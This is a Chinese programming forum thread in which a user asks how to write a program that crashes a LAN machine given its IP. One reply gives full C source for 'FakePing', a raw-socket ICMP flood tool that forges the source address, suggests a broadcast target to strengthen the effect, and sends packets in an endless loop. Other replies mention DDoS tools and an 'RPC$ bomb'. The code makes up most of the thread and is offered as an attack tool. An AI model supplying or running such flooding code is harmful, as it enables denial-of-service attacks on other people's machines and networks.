请教一下各位高手:
用delphi怎样编写一个输入IP之后让局域网机器死机?

解决方案 »

  1.   

    赫赫,可以用dos或ddos工具。不过我反对搞破坏
      

  2.   

    fakeping代码,不过这种方法让人家死机是不可能
    还有一种方法叫RPC$炸弹,代码我不知道,是让RPC管道打开的机器重起或者兰屏的
    typedef struct _iphdr //定义IP首部 

      unsigned char h_verlen; //4位首部长度,4位IP版本号 
      unsigned char tos; //8位服务类型TOS 
      unsigned short total_len; //16位总长度(字节) 
      unsigned short ident; //16位标识 
      unsigned short frag_and_flags; //3位标志位 
      unsigned char ttl; //8位生存时间 TTL 
      unsigned char proto; //8位协议 (TCP, UDP 或其他) 
      unsigned short checksum; //16位IP首部校验和 
      unsigned int sourceIP; //32位源IP地址 
      unsigned int destIP; //32位目的IP地址 
    }IP_HEADER; // 定义ICMP首部 
    typedef struct _ihdr 

      BYTE i_type; //8位类型 
      BYTE i_code; //8位代码 
      USHORT i_cksum; //16位校验和 
      USHORT i_id; //识别号(一般用进程号作为识别号) 
      USHORT i_seq; //报文序列号 
      ULONG timestamp; //时间戳 
    }ICMP_HEADER; //CheckSum:计算校验和的子函数 
    USHORT checksum(USHORT *buffer, int size) 

      unsigned long cksum=0; 
      while(size >1) 
       { 
         cksum+=*buffer++; 
         size -=sizeof(USHORT); 
       } 
      if(size ) 
       { 
         cksum += *(UCHAR*)buffer; 
       } 
      cksum = (cksum >> 16) + (cksum & 0xffff); 
      cksum += (cksum >>16); 
      return (USHORT)(~cksum); 
    } //FakePing主函数 
    int main(int argc, char **argv) 

      int datasize,ErrorCode,counter,flag; 
      int TimeOut=2000, SendSEQ=0, PacketSize=32; 
      char SendBuf[65535]={0}; 
      WSADATA wsaData; 
      SOCKET SockRaw=(SOCKET)NULL; 
      struct sockaddr_in DestAddr; 
      IP_HEADER ip_header; 
      ICMP_HEADER icmp_header; 
      char FakeSourceIp[20],DestIp[20]; //接受命令行参数 
      if (argc<3) 
       { 
         printf(FakePing by Shotgun\n); 
         printf(\tThis program can do Ping-Flooding from a FakeIP\n); 
         printf(\tUsing a BroadCast IP as the FakeIP will enhance the effect\n); 
         printf(Email:\n); 
         printf(\[email protected]\n); 
         printf(HomePage:\n); 
         printf(\thttp://It.Xici.Net\n); 
         printf(\thttp://www.Patching.Net\n); 
         printf(USAGE:\n\tFakePing.exe FakeSourceIp DestinationIp [PacketSize]\n); 
         printf(Example:\n); 
         printf(\tFakePing.exe 192.168.15.23 192.168.15.255\n); 
         printf(\tFakePing.exe 192.168.15.23 192.168.15.200 6400\n); 
         exit(0); 
       } 
      strcpy(FakeSourceIp,argv[1]); 
      strcpy(DestIp,argv[2]); 
      if (argc>3) PacketSize=atoi(argv[3]); 
      if (PacketSize>60000) 
       { 
         printf(Error! Packet size too big, must <60K\n); 
         exit(0); 
       } 
      printf(Now Fake %s Ping %s using Packet size=%d bytes\n, 
      FakeSourceIp, DestIp, PacketSize); 
      printf(\tCtrl+C to Quit\n); 
    //初始化SOCK_RAW 
      if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) 
       { 
         fprintf(stderr,WSAStartup failed: %d\n,ErrorCode); 
         ExitProcess(STATUS_FAILED); 
       } 
      if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) 
       { 
         fprintf(stderr,WSASocket() failed: %d\n,WSAGetLastError()); 
         ExitProcess(STATUS_FAILED); 
       } 
      flag=TRUE; //设置IP_HDRINCL以自己填充IP首部 
      ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); 
      if(ErrorCode==SOCKET_ERROR) 
       printf(Set IP_HDRINCL Error!\n); 
      __try 
    { //设置发送超时 
      ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); 
      if (ErrorCode==SOCKET_ERROR) 
       { 
         fprintf(stderr,Failed to set send TimeOut: %d\n,WSAGetLastError()); 
         __leave; 
       } 
      memset(&DestAddr,0,sizeof(DestAddr)); 
      DestAddr.sin_family=AF_INET; 
      DestAddr.sin_addr.s_addr=inet_addr(DestIp); //填充IP首部 
      ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号,低四位首部长度 
      ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节) 
      ip_header.ident=1; //16位标识 
      ip_header.frag_and_flags=0;  //3位标志位 
      ip_header.ttl=128; //8位生存时间 TTL 
      ip_header.proto=IPPROTO_ICMP; //8位协议 (TCP, UDP 或其他) 
      ip_header.checksum=0; //16位IP首部校验和 
      ip_header.sourceIP=inet_addr(FakeSourceIp); //32 位源IP地址 
      ip_header.destIP=inet_addr(DestIp); //32位目的IP地址 
    //填充ICMP首部 
      icmp_header.i_type = 8; 
      icmp_header.i_code = 0; 
      icmp_header.i_cksum = 0; 
      icmp_header.i_id = 2; 
      icmp_header.timestamp = 999; 
      icmp_header.i_seq=999; 
      memcpy(SendBuf, &icmp_header, sizeof(icmp_header)); 
      memset(SendBuf+sizeof(icmp_header), 'E', PacketSize); 
      icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); 
      memcpy(SendBuf,&ip_header,sizeof(ip_header)); 
      memcpy(SendBuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header)); 
      memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), 'E', PacketSize); 
      memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1); 
    //计算发送缓冲区的大小 
      datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize; 
      ip_header.checksum=checksum((USHORT *)SendBuf,datasize); //填充发送缓冲区 
      memcpy(SendBuf,&ip_header, sizeof(ip_header)); 
      while(1) 
       { 
        Sleep(100); 
        printf(.); 
        for(counter=0;counter<1024;counter++) 
        { 
    //发送ICMP报文 
         ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr)); 
         if (ErrorCode==SOCKET_ERROR) printf(\nSend Error:%d\n,GetLastError()); 
        } 
       } 
    }//End of try  __finally 
      { 
       if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); 
       WSACleanup(); 
      } 
     return 0; 
      

  3.   

    D.DOS的攻击现在也不见得有效啊,现在好像没有绝对的攻击了!